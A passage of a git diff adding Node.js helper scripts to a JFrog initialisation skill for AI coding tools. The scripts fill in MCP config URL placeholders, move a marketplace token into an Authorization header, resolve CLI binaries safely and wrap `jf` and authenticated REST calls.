`mcpServers` on every harness but Codex, which has no wrapper) — with +// the real JPD URL from `jf config`. This is the ONLY code path in +// /jfrog-init that writes to the plugin-owned mcp.json. +// +// Scoped to that one field (rather than a file-wide text replace) so an +// unrelated MCP server entry or JSON value that happens to contain the +// same placeholder text is never touched. +// +// Placeholders handled (`$VAR`, `${VAR}`, and Codex's `` forms): +// - JFROG_PLATFORM_URL +// - JFROG_URL +// +// The substitution normalizes the URL to the JPD root before writing, so +// `"url": "https://${JFROG_PLATFORM_URL}/mcp"` becomes +// `"url": "https://acme.jfrog.io/mcp"` regardless of what shape `.url` +// had in `jf config`. +// +// Idempotent: no matching placeholder = no write, exit 0. Atomic: write +// goes to a temp file next to the target and is renamed into place. +// Note: rewrites via JSON.parse/stringify (2-space indent), so unrelated +// formatting in the plugin's file is not preserved byte-for-byte. +// +// Exported as substituteMcpPlaceholders() — a pure function, no stdout +// writes — so jfrog-detect-jfrog-mcp.mjs can call it in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout, the same +// in-process pattern jfrog-resolve-jf-server.mjs/jfrog-resolve-mcp-config.mjs +// use. The CLI entry point below is a thin wrapper around the same function. +// +// Usage: node jfrog-substitute-mcp-placeholders.mjs [server-id] +// +// Exit 0 -> substituted (or no substitution needed) +// Exit 1 -> no jf server configured, or resolved server-id has no url +// Exit 2 -> multiple jf servers configured, none marked default, no +// server-id passed — ambiguous, caller must ask the user +// Exit 3 -> read/write error, or jf missing + +import { existsSync, readFileSync, writeFileSync, renameSync, statSync, chmodSync, unlinkSync } from "node:fs"; +import { emit as emitJf, isMainModule, jfAvailable, jfConfigShow, urlForServer, normalizeJpdUrl, mcpPlaceholderRegexes, jfrogMcpEntry, jfrogMcpUrl, hasMcpPlaceholder, askServerResult, describeJfUnavailable } from "./lib/jf.mjs"; +import { resolveJfServer } from "./jfrog-resolve-jf-server.mjs"; + +// Result shape: { exitCode, status, detail, candidates? } — mirrors the +// CLI contract above (status/candidates match what `emit()` would carry) +// so both the CLI wrapper below and in-process callers read the same +// fields without either one needing to re-derive them. +export function substituteMcpPlaceholders(target, serverIdOverride) { + if (!target) { + return { exitCode: 3, status: "error", detail: "usage: jfrog-substitute-mcp-placeholders.mjs [server-id]" }; + } + if (!existsSync(target)) { + return { exitCode: 3, status: "error", detail: "target file does not exist" }; + } + + let raw; + try { + raw = readFileSync(target, "utf8"); + } catch (err) { + return { exitCode: 3, status: "error", detail: `could not read ${target}: ${err.message}` }; + } + + let parsed; + try { + parsed = JSON.parse(raw); + } catch { + return { exitCode: 3, status: "error", detail: "target file is not valid JSON — refusing to modify" }; + } + + const currentUrl = jfrogMcpUrl(parsed); + + if (currentUrl === null) { + return { exitCode: 0, status: "green", detail: "no jfrog entry url present — nothing to substitute" }; + } + + // Checked before resolving a jf server at all — an unresolvable/ambiguous + // server shouldn't turn a jfrog.url that has no placeholder into a red/ask + // result; there's nothing here that needs the server to fix. + if (!hasMcpPlaceholder(currentUrl)) { + return { exitCode: 0, status: "green", detail: "no placeholder found — nothing to substitute" }; + } + + if (!jfAvailable()) { + return { exitCode: 3, status: "error", detail: describeJfUnavailable() }; + } + const configList = jfConfigShow(); + const resolvedId = resolveJfServer(serverIdOverride, configList); + if (!resolvedId) { + if (configList.length === 0) { + return { exitCode: 1, status: "red", detail: "no jf server configured — run `jf config add --interactive`" }; + } + const ask = askServerResult("mcp-placeholder", configList); + return { exitCode: 2, status: "ask", detail: ask.detail, candidates: ask.candidates }; + } + + const jpdUrl = normalizeJpdUrl(urlForServer(configList, resolvedId)); + if (!jpdUrl) { + return { exitCode: 1, status: "red", detail: `server-id '${resolvedId}' has no url in jf config` }; + } + + const { withScheme, bare } = mcpPlaceholderRegexes(); + + // Both forms replace the full match with jpdUrl itself (which already + // carries the correct scheme) rather than preserving whatever scheme + // literally preceded the placeholder in the plugin's mcp.json — that text + // reflects the plugin's shipped template, not the real JPD's scheme. + let newUrl = currentUrl.replace(withScheme, () => jpdUrl); + newUrl = newUrl.replace(bare, () => jpdUrl); + + jfrogMcpEntry(parsed).url = newUrl; + const rewritten = JSON.stringify(parsed, null, 2) + "\n"; + + const tmp = `${target}.tmp.${process.pid}`; + try { + // "wx" refuses to follow/overwrite anything already at tmp (e.g. a + // pre-planted symlink) — same symlink-safe pattern as + // lib/project-cache.mjs's writeCachedProjectList(). + writeFileSync(tmp, rewritten, { flag: "wx" }); + // rename() replaces the target's inode wholesale, so without this the + // file would silently pick up writeFileSync's default umask-derived + // mode instead of the target's own — e.g. a 0600 mcp.json holding + // another MCP server's secrets in its env block would come back 0644 + // (world-readable) after a substitution that has nothing to do with + // that other entry. + chmodSync(tmp, statSync(target).mode & 0o777); + renameSync(tmp, target); + } catch (err) { + // A run killed between the write and the rename (Ctrl-C, OOM, harness + // timeout) leaves tmp behind; the name is only unique per PID, so the + // next run to reuse that PID would otherwise hit EEXIST here forever. + // Same cleanup as jfrog-install-jf-cli.mjs's direct-download temp write. + try { + unlinkSync(tmp); + } catch { + // Never created, already renamed, or not ours to remove. + } + return { exitCode: 3, status: "error", detail: `could not write ${target}: ${err.message}` }; + } + + return { exitCode: 0, status: "green", detail: `substituted JFROG_PLATFORM_URL/JFROG_URL placeholder with ${jpdUrl}` }; +} + +if (isMainModule(import.meta.url)) { + const TARGET = process.argv[2] || ""; + const SERVER_ID = process.argv[3] || ""; + const result = substituteMcpPlaceholders(TARGET, SERVER_ID); + emitJf({ + check: "mcp-placeholder", + status: result.status, + file: TARGET, + detail: result.detail, + ...(result.candidates ? { candidates: result.candidates } : {}), + }); + // Sets process.exitCode rather than calling process.exit() — a forced + // exit can truncate a still-draining stdout write, same reason every + // other script in this skill was already fixed this way. + process.exitCode = result.exitCode; +} diff --git a/skills/jfrog-init/scripts/lib/claude-config.mjs b/skills/jfrog-init/scripts/lib/claude-config.mjs new file mode 100644 index 0000000..060f5bc --- /dev/null +++ b/skills/jfrog-init/scripts/lib/claude-config.mjs @@ -0,0 +1,69 @@ +// claude-config.mjs — keeps the marketplace token out of Claude Code's saved URL. + +import { readFileSync, realpathSync, renameSync, rmSync, writeFileSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; + +const entriesOf = (...maps) => maps.flatMap((map) => Object.values(map ?? {})); + +// Both hold the token: `claude`'s fetch cache, and its settings declaration. +function marketplaceFiles() { + const dir = process.env.CLAUDE_CONFIG_DIR || join(homedir(), ".claude"); + return [ + [join(dir, "plugins", "known_marketplaces.json"), entriesOf], + // claude reads marketplaces under either name, so a token can sit under either key. + [join(dir, "settings.json"), (config) => entriesOf(config.additionalMarketplaces, config.extraKnownMarketplaces)], + ]; +} + +function withoutCredentials(url) { + const parsed = new URL(url); + parsed.username = ""; + parsed.password = ""; + return parsed.toString(); +} + +// Atomic, owner-only for the token, and keeps any symlink. +function replaceFile(file, content) { + const target = realpathSync(file); + const tmp = `${target}.${process.pid}.${Date.now()}.tmp`; + try { + writeFileSync(tmp, content, { mode: 0o600, flag: "wx" }); + renameSync(tmp, target); + } catch (err) { + rmSync(tmp, { force: true }); + throw err; + } +} + +// Any project scope of the same marketplace, since each carries its own copy. +function moveCredentials(source, target) { + if (source?.source !== "url") return false; + try { + const saved = new URL(source.url); + if (saved.origin !== target.origin || saved.pathname !== target.pathname || !saved.password) return false; + source.headers = { ...source.headers, Authorization: `Bearer ${decodeURIComponent(saved.password)}` }; + source.url = withoutCredentials(source.url); + return true; + } catch { + // One unreadable entry must not block the rest. + return false; + } +} + +// No CLI flag sets a header, so the entries `claude` saved are edited in place. +export function moveTokenToHeader(url) { + const target = new URL(url); + for (const [file, entriesIn] of marketplaceFiles()) { + try { + const config = JSON.parse(readFileSync(file, "utf8")); + let moved = false; + for (const entry of entriesIn(config)) { + if (moveCredentials(entry?.source, target)) moved = true; + } + if (moved) replaceFile(file, `${JSON.stringify(config, null, 2)}\n`); + } catch { + // Best effort: `claude` keeps working from the URL it saved. + } + } +} diff --git a/skills/jfrog-init/scripts/lib/claude.mjs b/skills/jfrog-init/scripts/lib/claude.mjs new file mode 100644 index 0000000..6cae32d --- /dev/null +++ b/skills/jfrog-init/scripts/lib/claude.mjs @@ -0,0 +1,16 @@ +// claude.mjs — the Claude Code CLI. + +import { resolveCommand, runCommand } from "./command.mjs"; + +const CLAUDE_TIMEOUT_MS = 30_000; + +const SHELL_UNSAFE = /[&|;$<>`"'\\\s]/; + +export const claude = resolveCommand("claude"); + +export function marketplaceAdd(url) { + if (claude.shell && SHELL_UNSAFE.test(url)) { + return { ok: false, out: "jf server URL or username has a character the Windows claude shim cannot pass.\n" }; + } + return runCommand(claude, ["plugin", "marketplace", "add", url], { timeoutMs: CLAUDE_TIMEOUT_MS }); +} diff --git a/skills/jfrog-init/scripts/lib/command.mjs b/skills/jfrog-init/scripts/lib/command.mjs new file mode 100644 index 0000000..5799607 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/command.mjs @@ -0,0 +1,93 @@ +// command.mjs — finds the binary behind a command name on PATH, and launches it. + +import { spawnSync } from "node:child_process"; +import { accessSync, constants as fsConstants } from "node:fs"; +import { dirname, join, delimiter } from "node:path"; + +// Prepends `dir` to the current process's PATH if it isn't already +// present. Shared by every self-heal that needs this (selfHealPath() +// in jf.mjs, jfrog-install-jf-cli.mjs's selfHealNpmPath()) so the split/ +// includes/prepend mechanics can't drift between the two — they differ +// only in *which* directory they're healing onto PATH. +export function prependToPathIfMissing(dir) { + if (!dir) return; + const dirs = (process.env.PATH || "").split(delimiter); + if (!dirs.includes(dir)) { + process.env.PATH = `${dir}${delimiter}${process.env.PATH || ""}`; + } +} + +// A pure-Node PATH scan — no external binary at all, so this can't be +// a shell-injection-shaped pattern (no `shell: true`, unlike the old +// `command -v` implementation) AND can't false-negative on a minimal +// image missing `which`/`where` (unlike a naive fix that just swapped in +// those external binaries instead). +export function commandExists(command) { + return resolveBinaryDir(command) !== ""; +} + +// Same PATH/PATHEXT scan as commandExists() and resolveBinaryDir(), but +// returns the full matched path (dir + filename, e.g. `...\jf.cmd` on +// Windows) instead of just the directory — runJf() needs the exact +// filename it matched (not just which directory it lives in) so it can +// spawn that literal path without going through a shell to resolve a bare +// "jf" via PATHEXT. +export function resolveBinaryPath(command) { + const dirs = (process.env.PATH || "").split(delimiter).filter(Boolean); + const names = + process.platform === "win32" + ? (process.env.PATHEXT || ".COM;.EXE;.BAT;.CMD").split(";").map((ext) => command + ext.toLowerCase()) + : [command]; + for (const dir of dirs) { + for (const name of names) { + const full = join(dir, name); + try { + // Windows has no POSIX executable bit to check — F_OK (exists) is + // the best available signal there; X_OK enforces "executable", + // not just "present", everywhere else. + accessSync(full, process.platform === "win32" ? fsConstants.F_OK : fsConstants.X_OK); + return full; + } catch { + // Not in this PATH entry — keep looking. + } + } + } + return ""; +} + +// Same PATH/PATHEXT scan as commandExists(), but returns the directory the +// binary actually resolves to (first hit wins, same as PATH resolution +// order) instead of a boolean. jfrog-install-jf-cli.mjs's Plan B retry +// guard needs to know WHERE the currently-resolving `jf` lives — inside +// npm's own global bin, or shadowed by something earlier on PATH (a +// Homebrew/version-manager install) — not just whether `jf` resolves at +// all. +export function resolveBinaryDir(command) { + const full = resolveBinaryPath(command); + return full ? dirname(full) : ""; +} + +// Node refuses to spawn a Windows `.cmd` shim without `shell: true` (its fix for +// CVE-2024-27980, which Node 24 flags as DEP0190), and under a shell cmd.exe +// re-splits the line, so a path with a space needs quotes. `shell` is returned +// because such a call passes args through unescaped: callers must screen theirs. +// An unfound command yields the bare name, so the spawn still ENOENTs. +export function resolveCommand(command) { + const path = resolveBinaryPath(command); + const shell = /\.(cmd|bat)$/i.test(path); + return { command, target: shell ? `"${path}"` : path || command, shell, found: path !== "" }; +} + +// Reports the outcome instead of throwing, so a caller can show the CLI's own +// message; execFileSync discards stdout on failure. A killed child leaves status +// null and both streams empty, so the reason goes into `out`. +export function runCommand({ command, target, shell }, args, { timeoutMs }) { + const result = spawnSync(target, args, { encoding: "utf8", timeout: timeoutMs, shell }); + let out = `${result.stdout || ""}${result.stderr || ""}`; + if (result.error) { + out += result.error.code === "ETIMEDOUT" + ? `${command} did not respond within ${timeoutMs / 1000}s and was terminated.\n` + : `${result.error.message}\n`; + } + return { ok: result.status === 0, out }; +} diff --git a/skills/jfrog-init/scripts/lib/jf-api.mjs b/skills/jfrog-init/scripts/lib/jf-api.mjs new file mode 100644 index 0000000..ec4d436 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/jf-api.mjs @@ -0,0 +1,55 @@ +// jf-api.mjs — shared `jf api` bootstrap-call helpers for the web-login +// scripts (jfrog-login-register-session.mjs, jfrog-login-save-credentials.mjs). +// These run before any server exists in `jf config`, so every call goes +// through `jf api --url ...` rather than a configured --server-id — +// a distinct mode from lib/jf.mjs's runJf(), which always assumes a +// configured server. + +import { execFileSync } from "node:child_process"; +import { resolveCommand } from "./command.mjs"; + +// Matches jf rt ping's own network-call timeout (lib/jf.mjs's +// JF_CLI_TIMEOUT_MS) for the same reason: long enough that a slow JPD +// doesn't misreport as "unreachable". +const JF_API_TIMEOUT_MS = 30_000; + +// Parses the last "Http Status: NNN" line `jf api` prints. Returns "0" +// when no such line is present — the sentinel for "couldn't determine a +// status." +export function parseHttpStatus(text) { + const lines = String(text || "") + .split("\n") + .filter((l) => l.includes("Http Status:")); + const line = lines[lines.length - 1] || ""; + const m = line.match(/Http Status:\s*(\d+)/); + return m ? m[1] : "0"; +} + +// Runs `jf api <...args>`, returning both streams and exit info instead of +// throwing — a non-zero exit (unreachable server, a 400 on an unfinished +// login, etc) is an expected outcome the caller branches on, not a script +// bug. +export function jfApi(args) { + try { + const { target, shell } = resolveCommand("jf"); + const stdout = execFileSync(target, ["api", ...args], { + encoding: "utf8", + timeout: JF_API_TIMEOUT_MS, + shell, + // Node's execFileSync/execSync echo the child's stderr to the + // parent's own stderr live by default ("stderr by default will be + // output to the parent's stderr unless stdio is specified" per the + // Node docs) — on top of still populating err.stderr for a failed + // call. Left at the default, every `jf api` info/warn log line + // (e.g. "Http Status: NNN") would leak straight to the terminal. + // Pinning stdio here keeps this silent: nothing is inherited, + // everything is still captured. + stdio: ["ignore", "pipe", "pipe"], + }); + return { ok: true, stdout, stderr: "" }; + } catch (err) { + const stdout = err.stdout ? err.stdout.toString() : ""; + const stderr = err.stderr ? err.stderr.toString() : ""; + return { ok: false, stdout, stderr, error: err }; + } +} diff --git a/skills/jfrog-init/scripts/lib/jf.mjs b/skills/jfrog-init/scripts/lib/jf.mjs new file mode 100755 index 0000000..34d3684 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/jf.mjs @@ -0,0 +1,440 @@ +// jf.mjs — shared helpers for invoking `jf` and reading its config. +// Every detector needs the same three things: `jf` findable on PATH, +// its config read without ever touching a token on disk, and the JPD +// URL normalized to its root. Centralizing them here is what let the +// individual jfrog-detect-*.mjs scripts drop the ~30 lines of PATH/curl/base64 +// boilerplate each `.sh` predecessor repeated. + +import { execFileSync } from "node:child_process"; +import { existsSync, realpathSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { fileURLToPath } from "node:url"; + +import { prependToPathIfMissing, resolveCommand } from "./command.mjs"; + +export const JF_BIN_DIR = join(homedir(), ".jfrog", "bin"); +const JF_BIN = join(JF_BIN_DIR, process.platform === "win32" ? "jf.exe" : "jf"); + +// `import.meta.url === pathToFileURL(process.argv[1]).href` looks right for +// the standard ESM "was I run directly?" check, but Node's ESM loader +// resolves symlinks when computing import.meta.url while pathToFileURL(argv[1]) +// does not — so the comparison silently fails whenever the invoking path +// passes through a symlink (exactly how this skill is installed locally, via +// dev/dev-symlinks.sh). Resolving both sides through realpathSync fixes it. +export function isMainModule(moduleUrl) { + if (!process.argv[1]) return false; + try { + return fileURLToPath(moduleUrl) === realpathSync(process.argv[1]); + } catch { + return false; + } +} + +// Makes `jf` findable even when the current process's PATH doesn't +// include ~/.jfrog/bin — a fixed-location fallback for any `jf` install +// that landed there by some other means (e.g. a leftover from before this +// skill switched to npm, or a manual install following JFrog's own curl +// docs). jfrog-install-jf-cli.mjs itself never writes there or edits PATH. +export function selfHealPath() { + if (existsSync(JF_BIN)) prependToPathIfMissing(JF_BIN_DIR); +} + +// Does NOT export JFROG_CLI_USER_AGENT, unlike the base `jfrog` skill's +// documented "session-global invariant" (see SKILL.md's Prerequisites). +// That skill's scripts/check-environment.mjs — the only thing that +// produces the UA string — is now pure Node too, but it still only emits +// a UA once `jf` is ALREADY installed at its minimum version. This +// skill's early steps exist specifically to get `jf` installed in the +// first place, before that precondition holds — calling it here would +// hit that same-version gate, not a scripting-language mismatch (the +// original reason this skill didn't reuse it, back when it was still a +// `jq`-dependent, GNU/BSD-`date`-branching `.sh` script). Telemetry-only +// impact (not functional correctness): `jf` calls from here just go +// unattributed in JFrog's own usage analytics. +// The default for runJf()'s local/fast operations (--version, config +// show/export) — without one, a wedged binary hangs the whole walk with +// no recovery, unlike every network call in this file (all of which use +// AbortSignal.timeout or an explicit timeout already). jfrog-detect-server-ping.mjs's +// own `jf rt ping` call (genuinely network-bound) overrides this via +// runJf()'s `timeoutMs` option instead of using this default. Matches +// jf rt ping's own 30s rather than a shorter value — `jf config +// export`/`config show` can trigger an OS credential-store prompt (e.g. +// macOS Keychain access confirmation) that the user takes a few seconds +// to notice and click, and a too-short timeout would kill that valid, +// still-in-progress prompt and misreport working credentials as broken. +export const JF_CLI_TIMEOUT_MS = 30_000; + +// The one place every `jf` spawn goes through. `timeoutMs` overrides the +// local-operation default for a network-bound caller. +export function runJf(args, { timeoutMs = JF_CLI_TIMEOUT_MS } = {}) { + selfHealPath(); + const { target, shell } = resolveCommand("jf"); + // Under `shell: true`, cmd.exe would read a metacharacter as a separator. + if (shell) { + const unsafe = args.find((a) => /[&|;$<>`"'\\\n]/.test(a)); + if (unsafe !== undefined) { + throw new Error(`runJf: refusing shell-unsafe argument: ${JSON.stringify(unsafe)}`); + } + } + // Without this, execFileSync forwards jf's stderr to ours. + return execFileSync(target, args, { + encoding: "utf8", + timeout: timeoutMs, + shell, + stdio: ["ignore", "pipe", "pipe"], + }); +} + +// ---- in-process memoization ---- +// jfAvailable() / jfConfigShow() / jfConfigExportResult() are each called +// independently by multiple detectors (jfrog-resolve-jf-server.mjs's +// resolveServerOrEmit(), jfrog-detect-project.mjs, +// jfrog-detect-catalog-runtime.mjs) — when jfrog-detect-all.mjs runs all +// of them in-process for one walk, that's several redundant `jf` +// subprocess spawns, and for jfConfigExportResult specifically, redundant OS +// credential-store prompts (e.g. a second macOS Keychain confirmation), +// for data that cannot change mid-walk: none of these read-only scripts +// ever mutate jf's install state or its config. Memoized here, at the one +// shared module every caller already imports through, rather than +// duplicated in each caller. +// +// jfrog-install-jf-cli.mjs is the one exception — it deliberately +// installs/updates `jf` and must see the result of that within the same +// process, so it calls invalidateJfAvailableCache() right after each +// install step that could have changed the answer. +let jfAvailableCache; +// "missing" (ENOENT — not on PATH) vs "broken" (on PATH but hung/timed out +// or otherwise failed to run) — same distinction jfrog-detect-jf-cli.mjs +// makes for its own direct check. Callers that only need jfAvailable()'s +// boolean were previously reporting a hung/corrupted `jf` as "not +// installed", which sends the user to reinstall from scratch instead of +// just reinstalling the existing (corrupted) binary. +let jfUnavailableReason; +let jfConfigShowCache; +const jfConfigExportCache = new Map(); + +export function jfAvailable() { + if (jfAvailableCache === undefined) { + selfHealPath(); + try { + runJf(["--version"]); + jfAvailableCache = true; + jfUnavailableReason = undefined; + } catch (err) { + jfAvailableCache = false; + jfUnavailableReason = err && err.code === "ENOENT" ? "missing" : "broken"; + } + } + return jfAvailableCache; +} + +// For callers that gate on jfAvailable() and need a user-facing detail +// string for the false case — routes "broken" to the same reinstall +// wording jfrog-detect-jf-cli.mjs uses instead of misreporting a +// hung/corrupted binary as simply missing. Only meaningful after +// jfAvailable() has run at least once, which every caller already does to +// get the boolean itself. +export function describeJfUnavailable() { + return jfUnavailableReason === "broken" + ? "jf is on PATH but did not respond in time or failed to run (may be corrupted or hung) — reinstalling should fix this." + : "jf not installed"; +} + +export function invalidateJfAvailableCache() { + jfAvailableCache = undefined; + jfUnavailableReason = undefined; +} + +// Lets jfrog-detect-jf-cli.mjs's detectJfCli() — which needs its own +// `jf --version` call anyway to capture the version string for its +// `detail` field, with its own richer missing/broken/timed-out +// distinction — hand its already-obtained result to this cache instead +// of jfAvailable() spawning a second, independent `jf --version` later +// in the same walk. Without this, detectJfCli() and the first later +// jfAvailable() call (e.g. from jfrog-detect-jf-config.mjs) each spawn +// `jf` separately; if `jf` is flaky, the two calls can disagree and +// report self-contradictory green/red status for the same binary in one +// walk. A no-op once jfAvailable() has already populated the cache +// itself. +export function seedJfAvailable(available, reason) { + if (jfAvailableCache !== undefined) return; + jfAvailableCache = available; + jfUnavailableReason = available ? undefined : reason; +} + +export function jfConfigShow() { + if (jfConfigShowCache === undefined) { + try { + const out = runJf(["config", "show", "--format=json"]); + const parsed = JSON.parse(out); + jfConfigShowCache = Array.isArray(parsed) ? parsed : []; + } catch { + jfConfigShowCache = []; + } + } + return jfConfigShowCache; +} + +// A server's config from `jf config export`, or null. `timedOut` tells a +// wedged `jf` from an unconfigured one. +export function jfConfigExportResult(serverId) { + const cacheKey = serverId || ""; + if (!jfConfigExportCache.has(cacheKey)) { + const result = { cfg: null, timedOut: false }; + try { + const args = ["config", "export"]; + if (serverId) args.push(serverId); + const lines = runJf(args).split("\n").map((l) => l.trim()).filter(Boolean); + if (lines.length) result.cfg = JSON.parse(Buffer.from(lines[lines.length - 1], "base64").toString("utf8")); + } catch (err) { + result.timedOut = err.code === "ETIMEDOUT"; + } + jfConfigExportCache.set(cacheKey, result); + } + return jfConfigExportCache.get(cacheKey); +} + +const HTTP_SCHEME = /^https?:\/\//i; + +export function normalizeJpdUrl(url) { + if (!url) return ""; + let u = url.replace(/\/+$/, ""); + // Strip trailing /artifactory and /ui repeatedly — a URL can end in + // both (e.g. ".../artifactory/ui"), and a single non-repeated pass + // would leave the other suffix in place. + let stripped = true; + while (stripped) { + stripped = false; + for (const suffix of ["/artifactory", "/ui"]) { + if (u.endsWith(suffix)) { + u = u.slice(0, -suffix.length); + stripped = true; + } + } + } + if (!HTTP_SCHEME.test(u)) u = `https://${u}`; + return u; +} + +// A configured JPD URL, parsed, or null. +export function parseJpdUrl(raw) { + if (!HTTP_SCHEME.test(raw)) return null; + try { + return new URL(normalizeJpdUrl(raw)); + } catch { + return null; + } +} + +// Resolves URL + credentials (bearer token, falling back to user+password) +// for a server from `jf config export`. Returns null if nothing usable is +// configured. Credentials only ever live in the returned object for the +// duration of the caller's fetch — never logged, never written to disk. +export function resolveCreds(serverId) { + const { cfg } = jfConfigExportResult(serverId); + if (!cfg) return null; + // Same url/artifactoryUrl naming ambiguity urlForServer() falls back on + // for `jf config show` — `jf config export`'s JSON isn't guaranteed to + // use the same field name across jf CLI versions. + const rawUrl = (typeof cfg.url === "string" && cfg.url) || (typeof cfg.artifactoryUrl === "string" && cfg.artifactoryUrl) || ""; + const baseUrl = normalizeJpdUrl(rawUrl); + const token = typeof cfg.accessToken === "string" ? cfg.accessToken : ""; + const user = typeof cfg.user === "string" ? cfg.user : ""; + const password = typeof cfg.password === "string" ? cfg.password : ""; + if (!baseUrl || (!token && !(user && password))) return null; + return { baseUrl, token, user, password }; +} + +// The username behind a server's token, from a subject like +// "jfac@/users/". Empty when unavailable. +export function tokenUsername(serverId = "") { + const args = ["api"]; + if (serverId) args.push(`--server-id=${serverId}`); + args.push("/access/api/v1/tokens/me"); + try { + const { subject = "" } = JSON.parse(runJf(args).trim() || "{}"); + return /\/users\/([^/]+)$/.exec(subject)?.[1] || ""; + } catch { + return ""; + } +} + +export function authHeader(creds) { + if (creds.token) return { Authorization: `Bearer ${creds.token}` }; + return { Authorization: `Basic ${Buffer.from(`${creds.user}:${creds.password}`).toString("base64")}` }; +} + +const AUTHED_FETCH_TIMEOUT_MS = 15_000; +// A same-origin chain (e.g. an http->https upgrade followed by a reverse +// proxy's canonical-host redirect) can span more than one hop — bounded +// here rather than looped forever in case of a same-origin redirect cycle. +const MAX_SAME_ORIGIN_REDIRECTS = 5; + +// Authenticated GET against `${creds.baseUrl}${path}`, shared by every +// detector that hits a JPD REST endpoint. Body is parsed as JSON when +// possible (null if the response isn't JSON or has no body); code 0 +// means the request itself failed (connection error, timeout, etc). +export async function authedFetch(creds, path) { + try { + const headers = { Accept: "application/json", ...authHeader(creds) }; + let url = `${creds.baseUrl}${path}`; + let res = await fetch(url, { + headers, + signal: AbortSignal.timeout(AUTHED_FETCH_TIMEOUT_MS), + // Manual redirect handling: a 3xx to a DIFFERENT origin (e.g. a + // captive portal or an unrelated login page) must surface as its + // real status code, not be silently followed to a page that then + // answers 200 for something that was never the JPD endpoint we + // asked for. A same-origin 3xx (e.g. the JPD's own reverse proxy + // normalizing http->https) is followed below instead, since that's + // still the same server answering — see the follow-up loop. + redirect: "manual", + }); + for (let hop = 0; hop < MAX_SAME_ORIGIN_REDIRECTS && res.status >= 300 && res.status < 400; hop++) { + const location = res.headers.get("location"); + if (!location) break; + const current = new URL(url); + const target = new URL(location, url); + // URL.origin includes the scheme, so a plain same-origin check would + // treat a same-host http->https upgrade as cross-origin and refuse to + // follow it — exactly the case this loop exists for. The check must + // still be asymmetric: same host AND port, with the scheme either + // unchanged or upgrading to https. A same-host https->http redirect is + // never followed — that would replay the Authorization header over + // plaintext. + const sameHostPort = target.hostname === current.hostname && target.port === current.port; + const schemeOk = target.protocol === current.protocol || target.protocol === "https:"; + if (!sameHostPort || !schemeOk) break; + url = target.href; + res = await fetch(url, { headers, signal: AbortSignal.timeout(AUTHED_FETCH_TIMEOUT_MS), redirect: "manual" }); + } + let body = null; + try { + body = await res.json(); + } catch { + body = null; + } + return { code: res.status, body }; + } catch { + return { code: 0, body: null }; + } +} + +// Anonymous GET with no auth, manual redirects, 10s timeout — the +// reachability probe shared by every detector that needs to know whether a +// URL is up before trying anything authenticated against it +// (jfrog-detect-server-ping.mjs, jfrog-detect-catalog-runtime.mjs's Part +// A). Never throws: any connection failure (DNS, TLS, timeout, refused) +// collapses to "000" so callers can treat that one string as the uniform +// "unreachable" case. +export async function anonymousFetchStatus(endpoint) { + try { + const res = await fetch(endpoint, { redirect: "manual", signal: AbortSignal.timeout(10_000) }); + return String(res.status); + } catch { + return "000"; + } +} + +// Node's built-in fetch does not read HTTPS_PROXY/HTTP_PROXY, so telling +// the user to set them wouldn't fix anything here — point at the network +// itself instead. Shared so the wording can't drift between the call +// sites that append it to a "connection failed" detail on a "000" status. +export const NETWORK_UNREACHABLE_HINT = " (on a corporate network or VPN? this JPD may be unreachable from your current network)"; + +export function defaultServerId(configList) { + const hit = configList.find((s) => s && s.isDefault === true); + return hit && typeof hit.serverId === "string" ? hit.serverId : ""; +} + +export function urlForServer(configList, serverId) { + const hit = configList.find((s) => s && s.serverId === serverId); + if (!hit) return ""; + return (typeof hit.url === "string" && hit.url) || (typeof hit.artifactoryUrl === "string" && hit.artifactoryUrl) || ""; +} + +// The "ask which server" result shape every detector emits when +// resolveJfServer() can't pick one — multiple servers configured, none +// marked isDefault. Shared so the wording and candidates derivation can't +// drift apart between the detectors that all hit this same condition +// (jfrog-detect-catalog-runtime.mjs, jfrog-detect-project.mjs, +// jfrog-detect-server-ping.mjs). Exit code 2 is the caller's own +// responsibility, same as every other emit(). +export function askServerResult(check, configList) { + return { + check, + status: "ask", + // `unresolved: "server"` lets a caller tell this apart from a + // check-specific ask (e.g. jfrog-detect-project.mjs's own "no project + // input" ask) even though both are `{check, status: "ask"}` — without + // it, a caller keying off `check` alone (e.g. the Step 6 project + // picker) would misroute this into asking about the wrong thing. See + // references/project-picker.md's discriminator note. + unresolved: "server", + detail: "multiple jf servers configured, none marked isDefault — pass a server-id or set JF_SERVER_ID", + candidates: configList.map((s) => s.serverId).filter(Boolean), + }; +} + +// The full "no server resolvable" fallback every detector that takes a +// [server-id] falls into when resolveJfServer() returns nothing: either +// zero servers configured (red, blocking) or multiple with none marked +// default (ask, non-blocking). Shared — not just askServerResult() above +// — so the message/exit-code pairing for this one condition can't drift +// between the detectors that all hit it (jfrog-detect-catalog-runtime.mjs, +// jfrog-detect-project.mjs, jfrog-detect-server-ping.mjs). Emits and +// returns the exit code the caller should set and return with. +export function emitNoServerResolved(check, configList) { + if (configList.length === 0) { + emit({ check, status: "red", detail: "no jf server configured — run `jf config add --interactive`" }); + return 1; + } + emit(askServerResult(check, configList)); + return 2; +} + +export function emit(obj) { + process.stdout.write(JSON.stringify(obj) + "\n"); +} + +// `${VAR}`, bare `$VAR`, or Codex's `` — strict pairing so it doesn't +// also match malformed/unrelated text like `${JFROG_URL_SUFFIX}`. Shared +// by the detector and substituter so both agree on what counts as one. +const MCP_PLACEHOLDER_PATTERN = "\\$\\{(?:JFROG_PLATFORM_URL|JFROG_URL)\\}|\\$(?:JFROG_PLATFORM_URL|JFROG_URL)\\b|<(?:JFROG_PLATFORM_URL|JFROG_URL)>"; + +export function hasMcpPlaceholder(text) { + return new RegExp(MCP_PLACEHOLDER_PATTERN).test(text); +} + +// Every harness but Codex nests the entry under `mcpServers.jfrog`; Codex's +// plugin mcp.json has no wrapper — bare top-level `jfrog`. Branch keyed on +// the KEY's presence, not truthiness, so `{ "mcpServers": null, "jfrog": +// {...} }` isn't mistaken for Codex-shaped, and JFROG_INIT_MCP_CONFIG can +// still point at a Codex-shaped file from any harness. +// +// Returns the live entry object (mutations land on `parsed`), or null. +export function jfrogMcpEntry(parsed) { + if (parsed === null || typeof parsed !== "object") return null; + const wrapped = "mcpServers" in parsed; + const entry = wrapped ? parsed.mcpServers?.jfrog : parsed.jfrog; + if (entry === null || typeof entry !== "object" || 